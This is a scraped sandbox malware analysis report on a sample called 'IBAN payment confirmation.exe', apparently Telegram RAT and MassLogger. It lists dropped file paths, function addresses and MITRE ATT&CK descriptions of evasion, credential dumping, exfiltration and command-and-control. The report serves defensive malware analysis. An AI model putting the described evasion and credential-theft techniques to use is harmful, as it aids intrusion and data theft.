Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IBAN payment confirmation.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsa5F5.tmp

C:\Users\user\AppData\Local\Temp\nsl71F.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Inclinator\Emalje.kap

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\Fertiliserer.Ban254

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\img2.jpg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\pinrail.whe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\unyouthfully.ske

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Sawmont.tho

Static File Info

General

File Icon

Windows Analysis Report
IBAN payment confirmation.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402DBC Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Function 0040317D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre